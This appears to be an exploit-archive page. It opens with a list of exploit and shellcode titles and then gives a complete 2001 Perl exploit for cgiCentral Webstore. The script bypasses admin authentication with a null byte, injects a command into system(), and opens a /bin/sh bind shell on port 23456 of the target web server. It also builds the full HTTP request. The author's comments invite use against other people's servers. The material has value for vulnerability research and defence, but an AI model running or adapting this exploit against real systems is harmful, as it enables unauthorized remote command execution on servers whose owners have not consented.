
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
117 lines
No EOL
4.5 KiB
Perl
Executable file
117 lines
No EOL
4.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2860/info
|
|
|
|
cgiCentral's Webstore is an shopping cart application which processes and manages online purchases.
|
|
|
|
A vulnerability exists in Webstore which may allow attackers to obtain administrative privileges. The vulnerability is due to a lack of filtering NULL bytes and occurs during the authentication process.
|
|
|
|
In combination with BID 2861, an attacker may be able to execute arbitrary commands on a webserver running Webstore.
|
|
Bugtraq ID 2861 describes a vulnerability involving un-checked user input being passed to system(). The vulnerable part of the script can only be executed by clients with administrative privileges. This vulnerability may allow a remote attacker to exploit BID 2861 and execute commands on the webserver.
|
|
|
|
#!/usr/bin/perl -w
|
|
# Sun, May 6, 2001
|
|
# exploit by Igor Dobrovitski, noident@my-deja.com
|
|
# The exploit is for the default set-up. A good way to test if your (your neighbour's :) server
|
|
# is vulnerable. Only for Unix, will now work on NT
|
|
# Enjoy
|
|
use Socket;
|
|
$| = 1;
|
|
####################################################################################################
|
|
$msgfile = '../../Statistics/WebStore_Access.counter';
|
|
$userfile = '../Statistics/WebStore_Access.counter';
|
|
# if the sploit doesn't work with the above values, comment them out and uncomment ones below
|
|
#$msgfile = '../../ws_delete_files.cron';
|
|
#$userfile = '../ws_delete_files.cron';
|
|
# or these if the above fails:
|
|
#$msgfile = '../../Statistics/index.html';
|
|
#$userfile = '../Statistics/index.html';
|
|
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol)
|
|
;setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));
|
|
listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR,
|
|
">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
|
|
####################################################################################################
|
|
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ws_mail.cgi\n"}
|
|
$ARGV[0] =~ s|^(?:http://)*(.*/).*(\..*)$|${1}ws_mail$2|;
|
|
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
|
|
$userfile .= '\0';
|
|
$sh_cmd = '55555;perl=\'perl\';test -x /usr/bin/perl && perl=\'/usr/bin/perl\';test -x /usr/local/bin/
|
|
perl && perl=\'/usr/local/bin/perl\';$perl -e \'' . $exec_code . '\'';
|
|
# the above is what's passed to the 'system' command as part of an argument
|
|
$form = makeform({'userfile' => $userfile, 'kill' => $sh_cmd, 'terminate' => 'whatever',
|
|
'admin' => 'yep', 'restart' => 'pls', 'msgfile' => $msgfile});
|
|
print "Engaging the enemy. Please stand by...\n";
|
|
$SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nHave fun an
|
|
d be nice to the server.\n"; exit };
|
|
alarm(20);
|
|
&send($form);
|
|
&oops_the_sploit_did_not_work();
|
|
|
|
sub makeform
|
|
{
|
|
my $string;
|
|
my @blah;
|
|
my $line = '';
|
|
my $here;
|
|
my %data = %{$_[0]};
|
|
foreach my $key (keys %data)
|
|
{
|
|
$line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
|
|
}
|
|
$line =~ s|^(.*)BBBB$|$1|;
|
|
$line =~ s/\\n/\n/g;
|
|
$line =~ s/\\t/\t/g;
|
|
$line =~ s/\\e/\e/g;
|
|
$line =~ s/\\f/\f/g;
|
|
$line =~ s/\\r/\r/g;
|
|
$line =~ s/\\0/\0/g;
|
|
foreach my $char (split //, $line)
|
|
{
|
|
if($char !~ m/[A-Za-z0-9._ ]/)
|
|
{
|
|
$char = unpack "H2", $char;
|
|
$char = '%' . "$char";
|
|
}
|
|
push @blah, $char;
|
|
}
|
|
$string = join "",@blah;
|
|
$string =~ s/AAAA/=/g;
|
|
$string =~ s/BBBB/&/g;
|
|
$string =~ s/ /+/g;
|
|
my $cont_len = length($string);
|
|
$here = <<EOF;
|
|
POST $scriptpath HTTP/1.0
|
|
User-Agent: Mozilla (Windows 98)
|
|
Host: $host
|
|
referer: $host
|
|
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
|
|
Accept-Encoding: gzip
|
|
Accept-Language: en
|
|
Accept-Charset: iso-8859-1,*,utf-8
|
|
Content-type: application/x-www-form-urlencoded
|
|
Content-length: $cont_len
|
|
|
|
$string
|
|
EOF
|
|
return $here;
|
|
}
|
|
|
|
sub send
|
|
{
|
|
my $form_to_send = shift;
|
|
my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
|
|
socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
|
|
unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"
|
|
; close(S); exit 1 }
|
|
select(S);
|
|
$|=1;
|
|
print "$form_to_send";
|
|
my @reply=<S>;
|
|
select(STDOUT);
|
|
close(S);
|
|
return @reply;
|
|
}
|
|
|
|
sub oops_the_sploit_did_not_work
|
|
{
|
|
print STDERR "The exploit didn't work on this host\nSorry...\n";
|
|
exit;
|
|
} |